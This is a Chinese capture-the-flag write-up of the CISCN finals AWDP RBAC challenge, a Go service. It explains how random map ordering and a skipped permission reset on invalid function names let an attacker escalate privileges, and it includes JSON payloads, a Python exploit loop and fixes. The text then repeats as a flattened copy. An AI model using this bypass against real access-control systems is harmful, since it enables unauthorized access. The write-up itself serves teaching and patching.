第十八届CISCN决赛第二日AWDP RBAC
字数 1191 2025-09-01 11:26:02

CISCN决赛AWDP RBAC题目分析与利用教学

题目概述

这是一个来自第十八届CISCN决赛第二日AWDP的Go语言题目,涉及基于角色的访问控制(RBAC)系统的漏洞利用。题目环境可在玄机平台复现(https://xj.edisec.net/challenges/169)。

目标

获取flag需要满足以下条件:

  • file:read权限为1
  • file:return权限为1
  • flag:return权限为1
  • 请求参数中包含"flag"字符

源码分析

主要路由

  1. getCurrentRBAC - 查看当前用户权限
  2. execSysFunc - 执行功能

核心数据结构

  • RBACList: map类型,存储权限情况,键为string类型,值为int类型
    • 格式为类型:权限作为键,1为值

execSysFunc处理流程

  1. 解析请求的JSON绑定到ExecStruct结构体
  2. 不会直接修改RBACList,而是通过处理RBACToGrant进行权限管理
  3. 检查JSON中的DirectoryFlagPwdFile字段
  4. 将这些字段添加到RBACToGrant,以类型:权限为键,1为值存放
  5. 最后通过updateRBAC更新RBACList

关键漏洞点

  1. map无序性利用

    • Go语言的map是无序的,遍历RBACToGrant时顺序不确定
    • 当JSON中有"file":["return"]时,会添加三个值到RBACToGrant
    • 由于map无序,可能在updateRBAC中先处理flag:return而非file:return
  2. 权限持久化漏洞

    • 正常情况下,每次请求后会执行initRBAC()初始化权限
    • 但当输入错误的函数名时,返回400错误且不执行initRBAC()
    • 导致上一次修改的权限可以保留下来

利用步骤

第一步:获取file:return权限

发送包含"file":["return"]的请求:

{
    "file": ["return"]
}

检查响应,确认file:return变为1。

第二步:利用错误函数名保持权限

发送包含错误函数名的请求,使系统不重置权限:

{
    "file": ["return"],
    "Function": "invalid_function_name"
}

第三步:重复请求直到flag:return为1

由于map无序性,重复发送上述请求,直到flag:return也变为1。

第四步:正常读取flag

file:returnflag:return都为1时,发送正常读取flag的请求。

Python利用脚本示例

import requests
import json

url = "http://target_url/execSysFunc"

# 第一步:获取file:return权限
payload1 = {
    "file": ["return"]
}
response = requests.post(url, json=payload1)
print(response.text)

# 第二步和第三步:利用错误函数名保持权限并尝试获取flag:return
payload2 = {
    "file": ["return"],
    "Function": "invalid_function_name"
}

for i in range(10):  # 尝试多次
    response = requests.post(url, json=payload2)
    print(f"Attempt {i+1}:", response.text)
    
    # 检查当前权限
    rbac_response = requests.get("http://target_url/getCurrentRBAC")
    print("Current RBAC:", rbac_response.text)
    
    # 如果flag:return已经是1,可以尝试读取flag
    if '"flag:return":1' in rbac_response.text:
        break

# 第四步:读取flag
payload3 = {
    "flag": ["read"],
    "param": "flag"
}
response = requests.post(url, json=payload3)
print("Flag:", response.text)

修复建议

  1. 强制初始化:在返回400错误时也执行initRBAC()初始化权限
  2. 权限分离:将flag和file的return权限完全分离,避免交叉影响
  3. 有序数据结构:使用有序数据结构替代map,确保权限更新顺序可控
  4. 输入验证:严格验证函数名,避免通过错误函数名绕过权限重置
CISCN决赛AWDP RBAC题目分析与利用教学 题目概述 这是一个来自第十八届CISCN决赛第二日AWDP的Go语言题目,涉及基于角色的访问控制(RBAC)系统的漏洞利用。题目环境可在玄机平台复现(https://xj.edisec.net/challenges/169)。 目标 获取flag需要满足以下条件: file:read 权限为1 file:return 权限为1 flag:return 权限为1 请求参数中包含"flag"字符 源码分析 主要路由 getCurrentRBAC - 查看当前用户权限 execSysFunc - 执行功能 核心数据结构 RBACList : map类型,存储权限情况,键为string类型,值为int类型 格式为 类型:权限 作为键,1为值 execSysFunc处理流程 解析请求的JSON绑定到 ExecStruct 结构体 不会直接修改 RBACList ,而是通过处理 RBACToGrant 进行权限管理 检查JSON中的 Directory 、 Flag 、 Pwd 、 File 字段 将这些字段添加到 RBACToGrant ,以 类型:权限 为键,1为值存放 最后通过 updateRBAC 更新 RBACList 关键漏洞点 map无序性利用 : Go语言的map是无序的,遍历 RBACToGrant 时顺序不确定 当JSON中有 "file":["return"] 时,会添加三个值到 RBACToGrant 由于map无序,可能在 updateRBAC 中先处理 flag:return 而非 file:return 权限持久化漏洞 : 正常情况下,每次请求后会执行 initRBAC() 初始化权限 但当输入错误的函数名时,返回400错误且 不执行 initRBAC() 导致上一次修改的权限可以保留下来 利用步骤 第一步:获取file:return权限 发送包含 "file":["return"] 的请求: 检查响应,确认 file:return 变为1。 第二步:利用错误函数名保持权限 发送包含错误函数名的请求,使系统不重置权限: 第三步:重复请求直到flag:return为1 由于map无序性,重复发送上述请求,直到 flag:return 也变为1。 第四步:正常读取flag 当 file:return 和 flag:return 都为1时,发送正常读取flag的请求。 Python利用脚本示例 修复建议 强制初始化 :在返回400错误时也执行 initRBAC() 初始化权限 权限分离 :将flag和file的return权限完全分离,避免交叉影响 有序数据结构 :使用有序数据结构替代map,确保权限更新顺序可控 输入验证 :严格验证函数名,避免通过错误函数名绕过权限重置